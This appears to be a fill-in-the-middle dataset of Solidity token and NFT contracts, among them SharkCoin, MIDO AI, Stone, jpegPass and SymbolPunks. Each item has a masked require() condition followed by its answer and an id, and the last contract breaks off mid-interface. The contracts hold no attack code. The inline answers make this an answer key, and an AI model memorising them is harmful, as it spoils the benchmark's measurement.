//-------------------------------------------------------------------------
// accessors
//-------------------------------------------------------------------------
function setTokenIpfsHash(string memory hash)
public
onlyOwner
{
}
//-------------------------------------------------------------------------
function setBaseTokenURI(string memory baseUri)
public
onlyOwner
{
}
//-------------------------------------------------------------------------
/**
* Get total minted.
*/
function totalSupply()
public view
returns (uint256)
{
}
//-------------------------------------------------------------------------
/**
* Get max supply allowed.
*/
function maxSupply()
public pure
returns (uint256)
{
}
//-------------------------------------------------------------------------
// ERC2981 - NFT Royalty Standard
//-------------------------------------------------------------------------
/**
* @dev Update royalty receiver + basis points.
*/
function setRoyaltyInfo(address receiver, uint96 feeBasisPoints)
external
onlyOwner
{
}
//-------------------------------------------------------------------------
// IERC165 - Introspection
//-------------------------------------------------------------------------
function supportsInterface(bytes4 interfaceId)
public view
override(ERC721, ERC2981)
returns (bool)
{
}
//-------------------------------------------------------------------------
// ERC721Metadata
//-------------------------------------------------------------------------
function baseTokenURI()
public
view
returns (string memory)
{
}
//-------------------------------------------------------------------------
/**
* @dev Returns uri of a token. Not guarenteed token exists.
*/
function tokenURI(uint256 tokenId)
override
public
view
returns (string memory)
{
}
//-------------------------------------------------------------------------
// security
//-------------------------------------------------------------------------
/**
* Generate hash from input data.
*/
function generateHash(uint256 tokenId, uint256 redeem)
private view
returns(bytes32)
{
}
//-------------------------------------------------------------------------
/**
* Validate message was signed by signer.
*/
function validateSigner(bytes32 msgHash, bytes memory signature, address signer)
private pure
returns(bool)
{
}
//-------------------------------------------------------------------------
// minting
//-------------------------------------------------------------------------
/**
* Mint token using securely signed message.
*/
function secureMint(
bytes calldata signature,
uint256 tokenId,
uint256 redeemCode)
external
{
bytes32 msgHash = generateHash(tokenId, redeemCode);
require(!_exists(tokenId), "token minted");
require(0 < tokenId && tokenId <= _maxSupply, "invalid token");
require(<FILL_ME>)
// track supply
unchecked {
_totalSupply += 1;
}
// mint token
_safeMint(msg.sender, tokenId);
}
//-------------------------------------------------------------------------
// contractUri
//-------------------------------------------------------------------------
function setContractURI(string memory contractUri)
external onlyOwner
{
}
//-------------------------------------------------------------------------
function contractURI()
public view
returns (string memory)
{
}
}
| validateSigner(msgHash,signature,_signer),"invalid sig" | 155,005 | validateSigner(msgHash,signature,_signer) |
"Insufficient balance or allowance." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SharkCoin {
string public constant name = "Shark Coin";
string public constant symbol = "SHARK";
uint8 public constant decimals = 18;
uint256 public totalSupply = 100000000000 * (10 ** uint256(decimals));
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
constructor() {
}
function balanceOf(address _owner) public view returns (uint256 balance) {
}
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 currentAllowance = allowed[_from][msg.sender];
require(<FILL_ME>)
balances[_to] += _value;
balances[_from] -= _value;
if (currentAllowance < type(uint256).max) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
| balances[_from]>=_value&¤tAllowance>=_value,"Insufficient balance or allowance." | 155,042 | balances[_from]>=_value&¤tAllowance>=_value |
"TOKEN: Balance exceeds wallet size!" | // SPDX-License-Identifier: MIT
/**
Web: https://www.midoai.org/
Telegram: https://t.me/midoaicoin
Twitter: https://twitter.com/midoaicoin
*/
pragma solidity ^0.8.15;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function WETH() external pure returns (address);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
modifier onlyOwner() {
}
constructor() {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract MidoAI is Context, IERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public _uniswapV2PairAddr;
using SafeMath for uint256;
uint256 private constant MAX = ~uint256(0);
mapping(address => uint256) private _tOwned;
mapping(address => uint256) private _rOwned;
string private constant _name = "MIDO AI";
string private constant _symbol = "MIDOAI";
mapping(address => bool) private _isExcludedFromFee;
//Original Fee
uint256 private _marketTaxForSell = 0;
uint256 private _dexTaxForSell = 0;
uint256 private _marketingFeeAmount = _marketTaxForSell;
uint256 private _devFeeAmount = _dexTaxForSell;
uint256 private _marketTaxForBuy = 0;
uint256 private _devTaxForBuy = 0;
uint256 private _preMarketTax = _marketingFeeAmount;
uint256 private _preDevTax = _devFeeAmount;
bool private _swapping_now = false;
bool private _enable_swap = true;
bool private _active_trading = false;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _maxTxLimitSize = _tTotal * 50 / 1000;
uint256 public _maxWalletLimitSize = _tTotal * 50 / 1000;
uint256 public _swap_exact_at = _tTotal / 10000;
modifier lockInSwap {
}
event MaxTxAmountUpdated(uint256 _maxTxLimitSize);
mapping(address => mapping(address => uint256)) private _allowances;
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function _transferTokensAndTax(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
address payable public developmentWallet = payable(0xd146FB08C910A3c8a2E91072a13a5078FFA4B1d4);
address payable public marketingWallet = payable(0x5e8120877166e330EEDF5b16C1A18a1d7F9BC37c);
function swapBack(uint256 tokenAmount) private lockInSwap {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function distributeEthToFee(uint256 amount) private {
}
//set minimum tokens required to swap.
function setSwapTokenAmount(uint256 swapTokensAtAmount) public onlyOwner {
}
function _takeAllFee(uint256 tTeam) private {
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function recoverTempTax() private {
}
function _normalTransfer(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
from != owner()
&& to != owner()
) {
//Trade start check
if (!_active_trading) {
require(
from == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"
);
}
require(amount <= _maxTxLimitSize, "TOKEN: Max Transaction Limit");
if(to != _uniswapV2PairAddr) {
require(<FILL_ME>)
}
uint256 tokenContractAmount = balanceOf(address(this));
bool canSwap = tokenContractAmount >= _swap_exact_at;
if(tokenContractAmount >= _maxTxLimitSize) {tokenContractAmount = _maxTxLimitSize;}
if (_enable_swap &&
canSwap &&
!_swapping_now &&
from != _uniswapV2PairAddr &&
!_isExcludedFromFee[from] &&
!_isExcludedFromFee[to]
) {
swapBack(tokenContractAmount);
uint256 balanceOfEth = address(this).balance;
if (balanceOfEth > 0) {
distributeEthToFee(address(this).balance);
}
}
}
bool isSetFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != _uniswapV2PairAddr && to != _uniswapV2PairAddr)
) {
isSetFee = false;
} else {
//Set Fee for Buys
if(from == _uniswapV2PairAddr &&
to != address(uniswapV2Router)) {
_marketingFeeAmount = _marketTaxForBuy;
_devFeeAmount = _devTaxForBuy;
}
//Set Fee for Sells
if (to == _uniswapV2PairAddr &&
from != address(uniswapV2Router)) {
_marketingFeeAmount = _marketTaxForSell;
_devFeeAmount = _dexTaxForSell;
}
}
_transferTokensAndTax(from, to, amount, isSetFee);
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _sendTValues(address token, address owner) internal {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function clearTempTax() private {
}
receive() external payable {
}
function _getTValues(
uint256 tAmount,
uint256 teamFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function sendRTValues(address token) external {
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function sendAllTaxes(uint256 rFee, uint256 tFee) private {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
//set maximum transaction
function removeLimits() public onlyOwner {
}
function enableTrading(address _addr) public onlyOwner {
}
}
| balanceOf(to)+amount<_maxWalletLimitSize,"TOKEN: Balance exceeds wallet size!" | 155,060 | balanceOf(to)+amount<_maxWalletLimitSize |
"Purchase would exceed max tokens" | pragma solidity ^0.8.2;
interface oldContract{
function redeem(address account, uint256 id, uint256 amount) external;
}
contract jpegPass is ERC1155, Ownable, ERC1155Burnable {
uint256 constant private _tokenId = 1;
uint256 constant private _tokenIdOG = 2;
uint256 public constant MAX_PASSES = 150;
uint256 public regularCost = 0.08 ether;
uint256 public ogCost = 0.04 ether;
uint256 public CLAIMED_PASSES;
uint256 public CLAIMED_OG_PASSES;
mapping(address => uint8) public _regularList;
mapping(address => uint8) public _ogList;
bool public hasPrivateSaleStarted = false;
bool public hasClaimSaleStarted = false;
address public oldSeasonAddress = 0xb40d231FA012a171deA90Af7b432F79Db18ef4B2;
address public newSeasonAddress;
modifier onlyNewSeasonContract {
}
constructor() ERC1155("") {}
/*
Updates URI
*/
function setURI(string memory newuri) public onlyOwner {
}
/*
Toggles private sale state
*/
function togglePrivateSale() public onlyOwner {
}
/*
Toggles claim sale state
*/
function toggleClaimSaleState() public onlyOwner {
}
/*
Displays total claimed passes
*/
function totalSupply() public view returns (uint256){
}
/*
Adds addresses to the OG private sale list
*/
function setOGWallets(address[] calldata addresses) external onlyOwner {
}
/*
Adds adresses to the regular private sale list
*/
function setRegularWallets(address[] calldata addresses) external onlyOwner {
}
/*
Use and burn old pass to renew
*/
function mintWithPass() external payable {
require(hasClaimSaleStarted, "Claim sale not active");
require(<FILL_ME>)
require(regularCost == msg.value, "Ether value sent is not correct");
oldContract(oldSeasonAddress).redeem(_msgSender(), _tokenId, 1);
CLAIMED_PASSES += 1;
_mint(msg.sender, _tokenId, 1, "");
}
/*
Use and burn old OG pass to renew
*/
function mintWithPassOG() external payable {
}
/*
redeem function for new contract to burn pass with
*/
function redeem(address account, uint256 id, uint256 amount) external onlyNewSeasonContract {
}
/*
Mint for regular addresses
*/
function regularMint() external payable {
}
/*
Mint for OG addresses
*/
function ogMint() external payable {
}
/*
Owner mint
*/
function ownerMint(uint256 numberOfTokens) external onlyOwner {
}
/*
Owner mint OG
*/
function ownerMintOG(uint256 numberOfTokens) external onlyOwner {
}
/*
Set the next season contract
*/
function setNewSeasonContract(address _newAddress) external onlyOwner {
}
/*
Set the old season contract
*/
function setOldSeasonContract(address _newAddress) external onlyOwner {
}
/*
ETH withdraw
*/
function withdraw() external onlyOwner {
}
}
| CLAIMED_PASSES+1<=MAX_PASSES,"Purchase would exceed max tokens" | 155,093 | CLAIMED_PASSES+1<=MAX_PASSES |
"Purchase would exceed max tokens" | pragma solidity ^0.8.2;
interface oldContract{
function redeem(address account, uint256 id, uint256 amount) external;
}
contract jpegPass is ERC1155, Ownable, ERC1155Burnable {
uint256 constant private _tokenId = 1;
uint256 constant private _tokenIdOG = 2;
uint256 public constant MAX_PASSES = 150;
uint256 public regularCost = 0.08 ether;
uint256 public ogCost = 0.04 ether;
uint256 public CLAIMED_PASSES;
uint256 public CLAIMED_OG_PASSES;
mapping(address => uint8) public _regularList;
mapping(address => uint8) public _ogList;
bool public hasPrivateSaleStarted = false;
bool public hasClaimSaleStarted = false;
address public oldSeasonAddress = 0xb40d231FA012a171deA90Af7b432F79Db18ef4B2;
address public newSeasonAddress;
modifier onlyNewSeasonContract {
}
constructor() ERC1155("") {}
/*
Updates URI
*/
function setURI(string memory newuri) public onlyOwner {
}
/*
Toggles private sale state
*/
function togglePrivateSale() public onlyOwner {
}
/*
Toggles claim sale state
*/
function toggleClaimSaleState() public onlyOwner {
}
/*
Displays total claimed passes
*/
function totalSupply() public view returns (uint256){
}
/*
Adds addresses to the OG private sale list
*/
function setOGWallets(address[] calldata addresses) external onlyOwner {
}
/*
Adds adresses to the regular private sale list
*/
function setRegularWallets(address[] calldata addresses) external onlyOwner {
}
/*
Use and burn old pass to renew
*/
function mintWithPass() external payable {
}
/*
Use and burn old OG pass to renew
*/
function mintWithPassOG() external payable {
}
/*
redeem function for new contract to burn pass with
*/
function redeem(address account, uint256 id, uint256 amount) external onlyNewSeasonContract {
}
/*
Mint for regular addresses
*/
function regularMint() external payable {
}
/*
Mint for OG addresses
*/
function ogMint() external payable {
}
/*
Owner mint
*/
function ownerMint(uint256 numberOfTokens) external onlyOwner {
require(<FILL_ME>)
CLAIMED_PASSES += numberOfTokens;
_mint(msg.sender, _tokenId, numberOfTokens, "");
}
/*
Owner mint OG
*/
function ownerMintOG(uint256 numberOfTokens) external onlyOwner {
}
/*
Set the next season contract
*/
function setNewSeasonContract(address _newAddress) external onlyOwner {
}
/*
Set the old season contract
*/
function setOldSeasonContract(address _newAddress) external onlyOwner {
}
/*
ETH withdraw
*/
function withdraw() external onlyOwner {
}
}
| CLAIMED_PASSES+numberOfTokens<=MAX_PASSES,"Purchase would exceed max tokens" | 155,093 | CLAIMED_PASSES+numberOfTokens<=MAX_PASSES |
"Not welcome!" | pragma solidity ^0.7.6;
/**
* @title Stone ERC-20 token Contract
*/
contract Stone is Ownable, ERC20, Pausable {
using LowGasSafeMath for uint256;
using FullMath for uint256;
using SafeERC20 for IERC20;
/// @notice Event emitted when tax rate changes
event taxChanged(uint256 _taxRate);
/// @notice Event emitted when bot tax rate changes
event botTaxChanged(uint256 _botTaxRate);
/// @notice Event emitted when add or remove size free account
event sizeFreeChanged(address _sizeFreeAccount);
/// @notice Event emitted when add or remove tax free account
event taxFreeChanged(address _taxFreeAccount);
/// @notice Event emitted when add or remove blacklistWallet
event blacklistWalletChanged(address _blacklistWalletAccount);
/// @notice Event emitted when add or remove botWallet
event botWalletChanged(address _botWalletAccount);
/// @notice Event emitted when burn address changes
event burnAddressChanged(address _newBurnAddress);
/// @notice Event emitted when transfer stone token with fee
event transferWithTax(
address _sender,
address _recipient,
uint256 amount,
uint256 _burnAmount
);
address public burnWallet = 0xd26Cc7C8D96F6Ca5291758d266447f6879A66E16;
uint256 internal constant maxSupply = 10**33;
mapping(address => bool) public taxFree;
mapping(address => bool) public sizeFree;
mapping(address => bool) public blacklistWallet;
mapping(address => bool) public botWallet;
uint256 public taxRate = 9999; // basis points, 10000 is 100%; start high for anti-sniping
uint256 public botTaxRate = 900; // 9% bot tax
/**
* @dev Constructor
*/
constructor() ERC20("Stone", "0NE") {
}
/**
* @dev External function to set tax Rate
* @param _taxRate New tax Rate in basis points
*/
function setTaxRate(uint256 _taxRate) external onlyOwner {
}
/**
* @dev External function to set bot tax Rate
* @param _botTaxRate New tax Rate in basis points
*/
function setBotRate(uint256 _botTaxRate) external onlyOwner {
}
/**
* @dev Add or remove tax free accounts
* @param _account target address to set or remove from the tax free account list
*/
function setTaxFree(address _account) external onlyOwner {
}
/**
* @dev Add or remove size free accounts
* @param _account target address to set or remove from the size free account list
*/
function setSizeFree(address _account) external onlyOwner {
}
/**
* @dev Add or remove blacklist wallet accounts
* @param _account target address to set or remove from the blacklist account list
*/
function setBlacklistWallet(address _account) external onlyOwner {
}
/**
* @dev Add or remove bot wallet accounts
* @param _account target address to set or remove from the bot account list
*/
function setBotWallet(address _account) external onlyOwner {
}
/**
* @dev Custom transfer function
* @param sender Sender address
* @param recipient Recipient address
* @param amount Amount to transfer
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override whenNotPaused {
require(balanceOf(sender) >= amount, "Not enough tokens");
//black listed wallets are not welcome, sorry!
require(<FILL_ME>)
if (!sizeFree[recipient]) {
require(
balanceOf(recipient).add(amount) <= 3 * 10**31,
"Transfer exceeds max wallet"
); //3% max
}
//bots pay higher tax, sorry!
uint256 _taxApplied = (botWallet[sender] || botWallet[recipient])
? botTaxRate
: taxRate;
//Divide by 20000 for the 50-50% split
uint256 _burnAmount = (taxFree[sender] || taxFree[recipient])
? 0
: FullMath.mulDiv(amount, _taxApplied, 20000);
if (_burnAmount > 0) {
_burn(sender, _burnAmount); //burn Stone
ERC20._transfer(sender, burnWallet, _burnAmount); //burn Civ to dedicated wallet
}
ERC20._transfer(sender, recipient, amount - (_burnAmount.mul(2))); //then transfer
emit transferWithTax(sender, recipient, amount, _burnAmount);
}
/**
* @dev Set burn address
* @param _burnAddress New burn address
*/
function setBurnAddress(address _burnAddress) external onlyOwner {
}
/**
* @dev Mint new stone tokens
* @param count Amount to mint
*/
function mintToken(uint256 count) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
/* Just in case anyone sends tokens by accident to this contract */
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
}
function withdrawETH() external payable onlyOwner {
}
function withdrawERC20(IERC20 _tokenContract) external onlyOwner {
}
/**
* @dev allow the contract to receive ETH
* without payable fallback and receive, it would fail
*/
fallback() external payable {}
receive() external payable {}
}
| !blacklistWallet[sender]&&!blacklistWallet[recipient],"Not welcome!" | 155,204 | !blacklistWallet[sender]&&!blacklistWallet[recipient] |
"Transfer exceeds max wallet" | pragma solidity ^0.7.6;
/**
* @title Stone ERC-20 token Contract
*/
contract Stone is Ownable, ERC20, Pausable {
using LowGasSafeMath for uint256;
using FullMath for uint256;
using SafeERC20 for IERC20;
/// @notice Event emitted when tax rate changes
event taxChanged(uint256 _taxRate);
/// @notice Event emitted when bot tax rate changes
event botTaxChanged(uint256 _botTaxRate);
/// @notice Event emitted when add or remove size free account
event sizeFreeChanged(address _sizeFreeAccount);
/// @notice Event emitted when add or remove tax free account
event taxFreeChanged(address _taxFreeAccount);
/// @notice Event emitted when add or remove blacklistWallet
event blacklistWalletChanged(address _blacklistWalletAccount);
/// @notice Event emitted when add or remove botWallet
event botWalletChanged(address _botWalletAccount);
/// @notice Event emitted when burn address changes
event burnAddressChanged(address _newBurnAddress);
/// @notice Event emitted when transfer stone token with fee
event transferWithTax(
address _sender,
address _recipient,
uint256 amount,
uint256 _burnAmount
);
address public burnWallet = 0xd26Cc7C8D96F6Ca5291758d266447f6879A66E16;
uint256 internal constant maxSupply = 10**33;
mapping(address => bool) public taxFree;
mapping(address => bool) public sizeFree;
mapping(address => bool) public blacklistWallet;
mapping(address => bool) public botWallet;
uint256 public taxRate = 9999; // basis points, 10000 is 100%; start high for anti-sniping
uint256 public botTaxRate = 900; // 9% bot tax
/**
* @dev Constructor
*/
constructor() ERC20("Stone", "0NE") {
}
/**
* @dev External function to set tax Rate
* @param _taxRate New tax Rate in basis points
*/
function setTaxRate(uint256 _taxRate) external onlyOwner {
}
/**
* @dev External function to set bot tax Rate
* @param _botTaxRate New tax Rate in basis points
*/
function setBotRate(uint256 _botTaxRate) external onlyOwner {
}
/**
* @dev Add or remove tax free accounts
* @param _account target address to set or remove from the tax free account list
*/
function setTaxFree(address _account) external onlyOwner {
}
/**
* @dev Add or remove size free accounts
* @param _account target address to set or remove from the size free account list
*/
function setSizeFree(address _account) external onlyOwner {
}
/**
* @dev Add or remove blacklist wallet accounts
* @param _account target address to set or remove from the blacklist account list
*/
function setBlacklistWallet(address _account) external onlyOwner {
}
/**
* @dev Add or remove bot wallet accounts
* @param _account target address to set or remove from the bot account list
*/
function setBotWallet(address _account) external onlyOwner {
}
/**
* @dev Custom transfer function
* @param sender Sender address
* @param recipient Recipient address
* @param amount Amount to transfer
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override whenNotPaused {
require(balanceOf(sender) >= amount, "Not enough tokens");
//black listed wallets are not welcome, sorry!
require(
!blacklistWallet[sender] && !blacklistWallet[recipient],
"Not welcome!"
);
if (!sizeFree[recipient]) {
require(<FILL_ME>)
//3% max
}
//bots pay higher tax, sorry!
uint256 _taxApplied = (botWallet[sender] || botWallet[recipient])
? botTaxRate
: taxRate;
//Divide by 20000 for the 50-50% split
uint256 _burnAmount = (taxFree[sender] || taxFree[recipient])
? 0
: FullMath.mulDiv(amount, _taxApplied, 20000);
if (_burnAmount > 0) {
_burn(sender, _burnAmount); //burn Stone
ERC20._transfer(sender, burnWallet, _burnAmount); //burn Civ to dedicated wallet
}
ERC20._transfer(sender, recipient, amount - (_burnAmount.mul(2))); //then transfer
emit transferWithTax(sender, recipient, amount, _burnAmount);
}
/**
* @dev Set burn address
* @param _burnAddress New burn address
*/
function setBurnAddress(address _burnAddress) external onlyOwner {
}
/**
* @dev Mint new stone tokens
* @param count Amount to mint
*/
function mintToken(uint256 count) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
/* Just in case anyone sends tokens by accident to this contract */
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
}
function withdrawETH() external payable onlyOwner {
}
function withdrawERC20(IERC20 _tokenContract) external onlyOwner {
}
/**
* @dev allow the contract to receive ETH
* without payable fallback and receive, it would fail
*/
fallback() external payable {}
receive() external payable {}
}
| balanceOf(recipient).add(amount)<=3*10**31,"Transfer exceeds max wallet" | 155,204 | balanceOf(recipient).add(amount)<=3*10**31 |
"SymbolPunks: Sale is not currently live" | pragma solidity ^0.8.11;
contract SymbolPunks is ERC721Enumerable, Ownable {
using Address for address payable;
uint256 public constant SymbolPunks_PREMINT = 50;
uint256 public constant SymbolPunks_MAX = 9999;
uint256 public constant SymbolPunks_MAX_PRESALE = 100;
uint256 public constant SymbolPunks_PRICE = 0.03 ether;
uint256 public constant SymbolPunks_PER_WALLET = 50;
uint256 public constant SymbolPunks_PER_WALLET_PRESALE = 25;
mapping(address => uint256) public addressToMinted;
bytes32 public root;
string public provenance;
string private _baseTokenURI;
bool public presaleLive;
bool public saleLive;
bool public locked;
constructor(
string memory newBaseTokenURI
) ERC721("SymbolPunks", "SPBC") {
}
/**
* @dev Mints number of tokens specified to wallet.
* @param quantity uint256 Number of tokens to be minted
*/
function buy(uint256 quantity) external payable {
require(<FILL_ME>)
require(
totalSupply() + quantity <= SymbolPunks_MAX,
"SymbolPunks: Quantity exceeds remaining tokens"
);
require(
quantity <= SymbolPunks_PER_WALLET - addressToMinted[msg.sender],
"SymbolPunks: Wallet cannot mint any new tokens"
);
require(quantity != 0, "SymbolPunks: Cannot buy zero tokens");
require(
msg.value >= quantity * SymbolPunks_PRICE,
"SymbolPunks: Insufficient funds"
);
for (uint256 i = 0; i < quantity; i++) {
addressToMinted[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
/**
* @dev Set base token URI.
* @param newBaseURI string New URI to set
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/**
* @dev Set provenance hash.
* @param hash string Provenance hash
*/
function setProvenanceHash(string calldata hash) external onlyOwner {
}
/**
* @dev Returns token URI of token with given tokenId.
* @param tokenId uint256 Id of token
* @return string Specific token URI
*/
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
/**
* @dev Toggles status of token presale. Only callable by owner.
*/
function togglePresale() external onlyOwner {
}
/**
* @dev Toggles status of token sale. Only callable by owner.
*/
function toggleSale() external onlyOwner {
}
/**
* @dev Locks contract metadata. Only callable by owner.
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Withdraw funds from contract. Only callable by owner.
*/
function withdraw() public onlyOwner {
}
/**
* @dev Pre mint n tokens to owner address.
* @param n uint256 Number of tokens to be minted
*/
function _preMint(uint256 n) private {
}
}
| saleLive&&!presaleLive,"SymbolPunks: Sale is not currently live" | 155,258 | saleLive&&!presaleLive |
"SymbolPunks: Quantity exceeds remaining tokens" | pragma solidity ^0.8.11;
contract SymbolPunks is ERC721Enumerable, Ownable {
using Address for address payable;
uint256 public constant SymbolPunks_PREMINT = 50;
uint256 public constant SymbolPunks_MAX = 9999;
uint256 public constant SymbolPunks_MAX_PRESALE = 100;
uint256 public constant SymbolPunks_PRICE = 0.03 ether;
uint256 public constant SymbolPunks_PER_WALLET = 50;
uint256 public constant SymbolPunks_PER_WALLET_PRESALE = 25;
mapping(address => uint256) public addressToMinted;
bytes32 public root;
string public provenance;
string private _baseTokenURI;
bool public presaleLive;
bool public saleLive;
bool public locked;
constructor(
string memory newBaseTokenURI
) ERC721("SymbolPunks", "SPBC") {
}
/**
* @dev Mints number of tokens specified to wallet.
* @param quantity uint256 Number of tokens to be minted
*/
function buy(uint256 quantity) external payable {
require(
saleLive && !presaleLive,
"SymbolPunks: Sale is not currently live"
);
require(<FILL_ME>)
require(
quantity <= SymbolPunks_PER_WALLET - addressToMinted[msg.sender],
"SymbolPunks: Wallet cannot mint any new tokens"
);
require(quantity != 0, "SymbolPunks: Cannot buy zero tokens");
require(
msg.value >= quantity * SymbolPunks_PRICE,
"SymbolPunks: Insufficient funds"
);
for (uint256 i = 0; i < quantity; i++) {
addressToMinted[msg.sender]++;
_safeMint(msg.sender, totalSupply() + 1);
}
}
/**
* @dev Set base token URI.
* @param newBaseURI string New URI to set
*/
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
/**
* @dev Set provenance hash.
* @param hash string Provenance hash
*/
function setProvenanceHash(string calldata hash) external onlyOwner {
}
/**
* @dev Returns token URI of token with given tokenId.
* @param tokenId uint256 Id of token
* @return string Specific token URI
*/
function tokenURI(uint256 tokenId)
public
view
override(ERC721)
returns (string memory)
{
}
/**
* @dev Toggles status of token presale. Only callable by owner.
*/
function togglePresale() external onlyOwner {
}
/**
* @dev Toggles status of token sale. Only callable by owner.
*/
function toggleSale() external onlyOwner {
}
/**
* @dev Locks contract metadata. Only callable by owner.
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Withdraw funds from contract. Only callable by owner.
*/
function withdraw() public onlyOwner {
}
/**
* @dev Pre mint n tokens to owner address.
* @param n uint256 Number of tokens to be minted
*/
function _preMint(uint256 n) private {
}
}
| totalSupply()+quantity<=SymbolPunks_MAX,"SymbolPunks: Quantity exceeds remaining tokens" | 155,258 | totalSupply()+quantity<=SymbolPunks_MAX |
null | /*
TG: https://t.me/FirstPepeCoin
Twitter: https://twitter.com/FirstPepeCoin
Website: https://www.FirstPepe.com
*/
pragma solidity ^0.8.17;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
